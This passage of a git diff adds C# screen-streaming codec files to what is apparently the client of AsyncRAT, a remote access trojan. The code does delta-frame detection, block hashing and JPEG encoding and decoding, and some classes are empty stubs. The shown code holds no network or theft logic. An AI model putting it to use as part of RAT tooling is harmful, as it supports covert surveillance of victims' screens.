a new object of SmallStreamCodec + /// + /// The image quality 0-100% + public SmallStreamCodec(int ImageQuality = 100) + : base(ImageQuality) + { + CheckBlock = new Size(20, 1); + } + + private void SetLastFrame(ref Bitmap bmp) + { + SetLastFrame(new SimpleBitmap(bmp)); + } + private void SetLastFrame(SimpleBitmap bmp) + { + lock (ImageProcessLock) + { + if (LastFrame != null && LastFrame.Locked) + LastFrame.Dispose(true); + LastFrame = bmp; + } + } + + /// + /// Encode the image + /// + /// The image you want to encode. + /// The output stream + public override unsafe void CodeImage(Bitmap bitmap, Stream outStream) + { + lock (ImageProcessLock) + { + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + if (LastFrame == null) + { + byte[] temp = base.jpgCompression.Compress(bitmap); + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + SetLastFrame(ref bitmap); + return; + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + + List updates = new List(); + SimpleBitmap sbBmp = new SimpleBitmap(bitmap); + MemoryStream ms = new MemoryStream(); + byte[] buffer = null; + + if (!LastFrame.Locked) + LastFrame.Lock(); + + sbBmp.Lock(); + + if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize) + throw new Exception("PixelFormat is not equal to previous Bitmap"); + + if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height) + { + sbBmp.Unlock(); + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + } + + List Blocks = new List(); + int index = 0; + + int y = 0; + int x = 0; + + Size s = new Size(bitmap.Width, CheckBlock.Height); + Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height); + + int lasty = bitmap.Height - lastSize.Height; + int lastx = bitmap.Width - lastSize.Width; + + Rectangle cBlock = new Rectangle(); + + s = new Size(bitmap.Width, s.Height); + while (y != bitmap.Height) + { + if (y == lasty) + s = new Size(bitmap.Width, lastSize.Height); + + cBlock = new Rectangle(0, y, bitmap.Width, s.Height); + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) + //if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) + { + index = Blocks.Count - 1; + if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) + { + cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); + Blocks[index] = cBlock; + } + else + { + Blocks.Add(cBlock); + } + } + y += s.Height; + } + + List finalUpdates = new List(); + for (int i = 0; i < Blocks.Count; i++) + { + s = new Size(CheckBlock.Width, Blocks[i].Height); + x = 0; + while (x != bitmap.Width) + { + if (x == lastx) + s = new Size(lastSize.Width, Blocks[i].Height); + + cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height); + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info)) + { + index = finalUpdates.Count - 1; + if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) + { + Rectangle rect = finalUpdates[index]; + int newWidth = cBlock.Width + rect.Width; + cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); + finalUpdates[index] = cBlock; + } + else + { + finalUpdates.Add(cBlock); + } + } + x += s.Width; + } + } + + for (int i = 0; i < finalUpdates.Count; i++) + { + Rectangle rect = finalUpdates[i]; + sbBmp.CopyBlock(rect, ref buffer); + + fixed (byte* ptr = buffer) + { + using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr))) + { + buffer = base.jpgCompression.Compress(TmpBmp); + } + } + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4); + outStream.Write(buffer, 0, buffer.Length); + TotalDataLength += buffer.Length + (4 * 5); + } + + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + + Blocks.Clear(); + SetLastFrame(sbBmp); + ms.Close(); + ms.Dispose(); + } + } + + /// + /// Decode the video stream + /// + /// The input stream + /// The image that has been decoded + public override Bitmap DecodeData(Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (decodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + List updates = new List(); + Rectangle rect; + Graphics g = Graphics.FromImage(decodedBitmap); + Bitmap tmp; + byte[] buffer = null; + MemoryStream m; + + while (DataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int UpdateLen = BitConverter.ToInt32(tempData, 16); + buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + if (onDecodeDebugScan != null) + onDecodeDebugScan(rect); + + m = new MemoryStream(buffer); + tmp = (Bitmap)Image.FromStream(m); + g.DrawImage(tmp, rect.Location); + tmp.Dispose(); + + m.Close(); + m.Dispose(); + DataSize -= buffer.Length + (4 * 5); + } + g.Dispose(); + return decodedBitmap; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridBlock.cs b/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridBlock.cs new file mode 100644 index 0000000..ddbd18b --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridBlock.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Text; + +namespace StreamLibrary.Encoders.GridCoder +{ + internal class GridBlock + { + public Rectangle Rect { get; private set; } + public ulong Hash { get; private set; } + private GridEncoder encoder; + + public GridBlock(Rectangle Rect, GridEncoder encoder) + { + this.encoder = encoder; + this.Rect = Rect; + CalculateHash(); + } + + public void CalculateHash() + { + + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridEncoder.cs b/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridEncoder.cs new file mode 100644 index 0000000..6cfcdfa --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridEncoder.cs @@ -0,0 +1,47 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace StreamLibrary.Encoders.GridCoder +{ + public class GridEncoder : IEncoder + { + public override ulong CachedSize + { + get; + internal set; + } + + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public override int BufferCount + { + get { return 1; } + } + + public override CodecOption CodecOptions + { + get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } + } + + + + public override unsafe void CodeImage(IntPtr Scan0, System.Drawing.Rectangle ScanArea, System.Drawing.Size ImageSize, System.Drawing.Imaging.PixelFormat Format, System.IO.Stream outStream) + { + + + + } + + public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream) + { + return null; + } + + public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) + { + return null; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Enums.cs b/AsyncRAT-C#/Client/StreamLibrary/Enums.cs new file mode 100644 index 0000000..bc97633 --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/Enums.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace StreamLibrary +{ + public enum CodecOption + { + /// + /// The Previous and next image size must be equal + /// + RequireSameSize, + /// + /// If the codec is having a stream buffer + /// + HasBuffers, + /// + /// The image will be disposed by the codec and shall not be disposed by the user + /// + AutoDispose, + /// No codec options were used + None + }; +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs b/AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs new file mode 100644 index 0000000..06331f9 --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs @@ -0,0 +1,46 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary +{ + public abstract class IEncoder + { + protected LzwCompression lzwCompression; + public abstract ulong CachedSize { get; internal set; } + protected object ImageProcessLock { get; private set; } + + private int _imageQuality; + public int ImageQuality + { + get { return _imageQuality; } + set + { + _imageQuality = value; + lzwCompression = new LzwCompression(value); + } + } + + + public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public IEncoder(int ImageQuality = 100) + { + this.ImageQuality = ImageQuality; + this.ImageProcessLock = new object(); + } + + public abstract int BufferCount { get; } + public abstract CodecOption CodecOptions { get; } + public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream); + public abstract unsafe Bitmap DecodeData(Stream inStream); + public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length); + + + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs new file mode 100644 index 0000000..83e703c --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs @@ -0,0 +1,46 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary +{ + public abstract class IUnsafeCodec + { + protected JpgCompression jpgCompression; + protected LzwCompression lzwCompression; + public abstract ulong CachedSize { get; internal set; } + protected object ImageProcessLock { get; private set; } + + private int _imageQuality; + public int ImageQuality + { + get { return _imageQuality; } + set + { + _imageQuality = value; + jpgCompression = new JpgCompression(value); + lzwCompression = new LzwCompression(value); + } + } + + + public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public IUnsafeCodec(int ImageQuality = 100) + { + this.ImageQuality = ImageQuality; + this.ImageProcessLock = new object(); + } + + public abstract int BufferCount { get; } + public abstract CodecOption CodecOptions { get; } + public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream); + public abstract unsafe Bitmap DecodeData(Stream inStream); + public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length); + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs new file mode 100644 index 0000000..3430223 --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs @@ -0,0 +1,35 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.IO; +using System.Text; + +namespace StreamLibrary +{ + public abstract class IVideoCodec + { + public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges); + public delegate void VideoDecodeProgress(Bitmap bitmap); + public delegate void VideoDebugScanningDelegate(Rectangle ScanArea); + + public abstract event VideoCodeProgress onVideoStreamCoding; + public abstract event VideoDecodeProgress onVideoStreamDecoding; + public abstract event VideoDebugScanningDelegate onCodeDebugScan; + public abstract event VideoDebugScanningDelegate onDecodeDebugScan; + protected JpgCompression jpgCompression; + public abstract ulong CachedSize { get; internal set; } + public int ImageQuality { get; set; } + + public IVideoCodec(int ImageQuality = 100) + { + this.jpgCompression = new JpgCompression(ImageQuality); + this.ImageQuality = ImageQuality; + } + + public abstract int BufferCount { get; } + public abstract CodecOption CodecOptions { get; } + public abstract void CodeImage(Bitmap bitmap, Stream outStream); + public abstract Bitmap DecodeData(Stream inStream); + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs new file mode 100644 index 0000000..d48beca --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs @@ -0,0 +1,324 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.UnsafeCodecs +{ + public class UnsafeCacheCodec : IUnsafeCodec + { + private const int BlockCount = 5; + private const int HashBlockCount = 8192; + + public override ulong CachedSize + { + get { return 0; } + internal set { } + } + + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public override int BufferCount + { + get { return 0; } + } + + public override CodecOption CodecOptions + { + get { return CodecOption.HasBuffers | CodecOption.RequireSameSize; } + } + + private Bitmap decodedBitmap; + private int EncodedWidth; + private int EncodedHeight; + private PixelFormat EncodedFormat; + private MurmurHash2Unsafe hasher; + private SortedList> EncodeBuffer; + private Rectangle[] Offsets; + private BlockInfo[] EncodeHashBlocks; + private BlockInfo[] DecodeHashBlocks; + + public ulong EncodedFrames { get; private set; } + public ulong DecodedFrames { get; private set; } + + public UnsafeCacheCodec(int ImageQuality = 80) + : base(ImageQuality) + { + this.hasher = new MurmurHash2Unsafe(); + this.Offsets = new Rectangle[BlockCount]; + this.EncodeHashBlocks = new BlockInfo[HashBlockCount]; + this.DecodeHashBlocks = new BlockInfo[HashBlockCount]; + for (int i = 0; i < HashBlockCount; i++) + { + EncodeHashBlocks[i] = new BlockInfo(); + DecodeHashBlocks[i] = new BlockInfo(); + } + } + + public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) + { + if (ImageSize.Width == 0 || ImageSize.Height == 0) + throw new ArgumentException("The width and height must be 1 or higher"); + if (ImageSize.Width < BlockCount || ImageSize.Height < BlockCount) + throw new Exception("The Image size Width/Height must be bigger then the Block Count " + BlockCount + "x" + BlockCount); + + int PixelSize = 0; + switch (Format) + { + case PixelFormat.Format24bppRgb: + PixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + PixelSize = 4; + break; + default: + throw new NotSupportedException(Format.ToString()); + } + + int Stride = ImageSize.Width * PixelSize; + int RawLength = Stride * ImageSize.Height; + + if (EncodedFrames == 0) + { + this.EncodedFormat = Format; + this.EncodedWidth = ImageSize.Width; + this.EncodedHeight = ImageSize.Height; + byte[] temp = null; + using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) + { + temp = base.jpgCompression.Compress(TmpBmp); + } + + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + + double size = (double)ImageSize.Width / (double)BlockCount; + + //fix floating point here + for (int i = 0, j = 0; i < BlockCount; i++, j += (int)size) + { + Offsets[i] = new Rectangle(j, 0, (int)size, 1); + } + + EncodeBuffer = new SortedList>(); + for (int y = 0; y < ImageSize.Height; y++) + { + for(int i = 0; i < Offsets.Length; i++) + { + if (!EncodeBuffer.ContainsKey(y)) + EncodeBuffer.Add(y, new SortedList()); + if (!EncodeBuffer[y].ContainsKey(Offsets[i].X)) + EncodeBuffer[y].Add(Offsets[i].X, 0); //0=hash + } + } + EncodedFrames++; + return; + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + + List ImageOffsets = new List(); + List ImageHashes = new List(); + + byte* pScan0 = (byte*)Scan0.ToInt32(); + for (int i = 0; i < Offsets.Length; i++) + { + for (int y = 0; y < ImageSize.Height; y++) + { + Rectangle ScanRect = Offsets[i]; + ScanRect.Y = y; + + int offset = (y * Stride) + (ScanRect.X * PixelSize); + + if (offset+Stride > Stride * ImageSize.Height) + break; + + uint Hash = hasher.Hash(pScan0 + offset, (int)Stride); + uint BlockOffset = Hash % HashBlockCount; + + BlockInfo blockInfo = EncodeHashBlocks[BlockOffset]; + + if (EncodeBuffer[y][ScanRect.X] != Hash) + { + if (!blockInfo.Hashes.ContainsKey(Hash)) + { + int index = ImageOffsets.Count - 1; + if (ImageOffsets.Count > 0 && ImageOffsets[index].Location.Y + 1 == ScanRect.Y) + { + Rectangle rect = ImageOffsets[index].Location; + ImageOffsets[index].Location = new Rectangle(rect.X, rect.Y, rect.Width, rect.Height + 1); + } + else + { + ImageOffsets.Add(new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1))); + } + + blockInfo.Hashes.Add(Hash, new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1))); + ImageHashes.Add(Hash); + } + EncodeBuffer[y][ScanRect.X] = Hash; + } + } + } + + if (ImageOffsets.Count > 0) + { + for (int i = 0; i < Offsets.Length; i++) + { + Rectangle TargetOffset = Offsets[i]; + int Height = GetOffsetHeight(ImageOffsets, TargetOffset); + Bitmap TmpBmp = new Bitmap(TargetOffset.Width, Height, Format); + BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); + int blockStride = PixelSize * TargetOffset.Width; + List UsedOffsets = new List(); + + for (int j = 0; j < ImageOffsets.Count; j++) + { + Rectangle rect = ImageOffsets[j].Location; + + if (rect.Width != TargetOffset.Width || rect.X != TargetOffset.X) + continue; //error in 1440p, did not tested futher + + for (int o = 0, offset = 0; o < rect.Height; o++) + { + int blockOffset = (Stride * (rect.Y + o)) + (PixelSize * rect.X); + NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + offset += blockStride; + UsedOffsets.Add(ImageOffsets[j]); + } + } + TmpBmp.UnlockBits(TmpData); + TmpBmp.Dispose(); + + outStream.Write(BitConverter.GetBytes((short)UsedOffsets.Count), 0, 2); + if (UsedOffsets.Count > 0) + { + outStream.Write(BitConverter.GetBytes((short)UsedOffsets[0].Location.X), 0, 2); + for (int j = 0; j < UsedOffsets.Count; j++) + { + outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Y), 0, 2); + outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Height), 0, 2); + outStream.Write(BitConverter.GetBytes(UsedOffsets[j].Hash), 0, 4); + } + byte[] CompressedImg = base.jpgCompression.Compress(TmpBmp); + outStream.Write(BitConverter.GetBytes(CompressedImg.Length), 0, 4); + outStream.Write(CompressedImg, 0, CompressedImg.Length); + } + + + //TotalDataLength += (int)length + (4 * 5); + } + } + EncodedFrames++; + } + + private int GetOffsetHeight(List ImageOffsets, Rectangle rect) + { + int height = 0; + for (int i = 0; i < ImageOffsets.Count; i++) + { + if (ImageOffsets[i].Location.Width == rect.Width && ImageOffsets[i].Location.X == rect.X) + height += ImageOffsets[i].Location.Height; + } + return height; + } + + public override Bitmap DecodeData(Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (decodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + //return decodedBitmap; + + List updates = new List(); + Rectangle rect; + Graphics g = Graphics.FromImage(decodedBitmap); + Bitmap tmp; + byte[] buffer = null; + MemoryStream m; + + while (DataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int UpdateLen = BitConverter.ToInt32(tempData, 16); + buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + if (onDecodeDebugScan != null) + onDecodeDebugScan(rect); + + m = new MemoryStream(buffer); + tmp = (Bitmap)Image.FromStream(m); + g.DrawImage(tmp, rect.Location); + tmp.Dispose(); + + m.Close(); + m.Dispose(); + DataSize -= UpdateLen + (4 * 5); + } + g.Dispose(); + return decodedBitmap; + } + + public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) + { + return null; + } + + private class BlockInfo + { + public SortedList Hashes { get; private set; } + public BlockInfo() + { + Hashes = new SortedList(); + } + } + private class HashBlock + { + public bool Cached { get; set; } + public uint Hash { get; set; } + public Rectangle Location { get; set; } + + public HashBlock(uint Hash, bool Cached, Rectangle Location) + { + this.Hash = Hash; + this.Cached = Cached; + this.Location = Location; + } + public HashBlock() + { + + } + } + private class ImageOffset + { + public Rectangle Location { get; set; } + public List Hashes { get; set; } + + public ImageOffset() + { + this.Hashes = new List(); + } + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs new file mode 100644 index 0000000..450d4fc --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs @@ -0,0 +1,308 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.UnsafeCodecs +{ + public class UnsafeCachedStreamCodec : IUnsafeCodec + { + public override ulong CachedSize + { + get; + internal set; + } + + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public override int BufferCount + { + get { return 0; } + } + + public override CodecOption CodecOptions + { + get { return CodecOption.HasBuffers; } + } + + private PixelFormat EncodedFormat; + private int EncodedWidth; + private int EncodedHeight; + private static Size CheckBlock = new Size(50, 50); + private MurmurHash2Unsafe Hasher = new MurmurHash2Unsafe(); + private List Frames = new List(); + public const int MAX_FRAMES = 120; + + private ulong[] DecodeBuffer; + private Bitmap DecodedBitmap; + private List DecodedFrames = new List(); + + public UnsafeCachedStreamCodec(int ImageQuality) + : base(ImageQuality) + { + + } + + public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) + { + byte* pScan0 = (byte*)Scan0.ToInt32(); + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + int Stride = 0; + int RawLength = 0; + int PixelSize = 0; + + switch (Format) + { + case PixelFormat.Format24bppRgb: + PixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + PixelSize = 4; + break; + default: + throw new NotSupportedException(Format.ToString()); + } + + Stride = ImageSize.Width * PixelSize; + RawLength = Stride * ImageSize.Height; + + if (EncodedWidth == 0 && EncodedHeight == 0) + { + this.EncodedFormat = Format; + this.EncodedWidth = ImageSize.Width; + this.EncodedHeight = ImageSize.Height; + + byte[] temp = null; + using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) + { + temp = base.jpgCompression.Compress(TmpBmp); + } + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + return; + } + + Frame frame = new Frame(ImageSize.Width, ImageSize.Height); + + int Blocks = (ScanArea.Width / CheckBlock.Width) * (ScanArea.Height / CheckBlock.Height); + int RawSizeUsed = 0; + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + List ChangedBlocks = new List(); + + for(int y = ScanArea.Y; y < ScanArea.Height; ) + { + int height = y + CheckBlock.Height < ScanArea.Height ? CheckBlock.Height : ScanArea.Height - y; + for (int x = ScanArea.X; x < ScanArea.Width; ) + { + int width = x + CheckBlock.Width < ScanArea.Width ? CheckBlock.Width : ScanArea.Width - x; + int BlockStride = Format == PixelFormat.Format24bppRgb ? width * 3 : width * 4; + decimal FinalHash = 0; + + for (int h = 0; h < height; h++) + { + int Offset = FastBitmap.CalcImageOffset(x, y+h, Format, ImageSize.Width); + FinalHash += Hasher.Hash(pScan0 + Offset, BlockStride); + } + + if(onCodeDebugScan != null) + onCodeDebugScan(new Rectangle(x, y, width, height)); + + bool FoundBlock = false; + decimal FoundHash = 0; + int FrameIndex = 0; + for (int i = 0; i < Frames.Count; i++) + { + decimal hash = Frames[i].GetHashBlock(x, y); + if (hash == FinalHash) + { + FrameIndex = i; + FoundBlock = true; + FoundHash = hash; + break; + } + } + + frame.AddHashBlock(x, y, FinalHash); + + if (!FoundBlock) + { + int index = ChangedBlocks.Count - 1; + Rectangle cBlock = new Rectangle(x, y, width, height); + + if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].X + ChangedBlocks[index].Width) == cBlock.X) + { + Rectangle rect = ChangedBlocks[index]; + int newWidth = cBlock.Width + rect.Width; + cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); + ChangedBlocks[index] = cBlock; + } + /*else if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].Y + ChangedBlocks[index].Height) == cBlock.Y) + { + Rectangle rect = ChangedBlocks[index]; + int newHeight = cBlock.Height + rect.Height; + cBlock = new Rectangle(rect.X, rect.Y, rect.Width, newHeight); + ChangedBlocks[index] = cBlock; + }*/ + else + { + ChangedBlocks.Add(cBlock); + } + RawSizeUsed += BlockStride * height; + } + x += width; + } + y += height; + } + + //write all the blocks + for (int i = 0; i < ChangedBlocks.Count; i++) + { + Rectangle rect = ChangedBlocks[i]; + int blockStride = PixelSize * rect.Width; + + Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); + BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); + NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + offset += blockStride; + } + TmpBmp.UnlockBits(TmpData); + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(new byte[4], 0, 4); + + long length = outStream.Position; + long OldPos = outStream.Position; + base.jpgCompression.Compress(TmpBmp, ref outStream); + length = outStream.Position - length; + + outStream.Position = OldPos - 4; + outStream.Write(BitConverter.GetBytes((int)length), 0, 4); + outStream.Position += length; + + TmpBmp.Dispose(); + TotalDataLength += (int)length + (4 * 5); + } + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + ChangedBlocks.Clear(); + + Frames.Add(frame); + if (Frames.Count > MAX_FRAMES) + Frames.RemoveAt(0); + } + + public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (DecodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.DecodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + DecodedFrames.Add(DecodedBitmap); + return DecodedBitmap; + } + + Rectangle rect; + Graphics g = Graphics.FromImage(DecodedBitmap); + Bitmap tmp; + byte[] buffer = null; + MemoryStream m; + + while (DataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int UpdateLen = BitConverter.ToInt32(tempData, 16); + buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + if (onDecodeDebugScan != null) + onDecodeDebugScan(rect); + + m = new MemoryStream(buffer); + tmp = (Bitmap)Image.FromStream(m); + g.DrawImage(tmp, rect.Location); + tmp.Dispose(); + + m.Close(); + m.Dispose(); + DataSize -= UpdateLen + (4 * 5); + } + g.Dispose(); + return DecodedBitmap; + } + + public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) + { + return new Bitmap(10, 10); + } + + private class HashedBlock + { + public int X { get; private set; } + public int Y { get; private set; } + public int Width { get; private set; } + public int Height { get; private set; } + public int FrameIndex { get; private set; } + public HashedBlock(int x, int y, int width, int height, int FrameIndex) + { + this.X = x; + this.Y = y; + this.Width = width; + this.Height = height; + this.FrameIndex = FrameIndex; + } + + public override string ToString() + { + return "X:" + X + ", Y:" + Y + ", Width:" + Width + ", Height:" + Height + ", FrameIndex:" + FrameIndex; + } + } + + private class 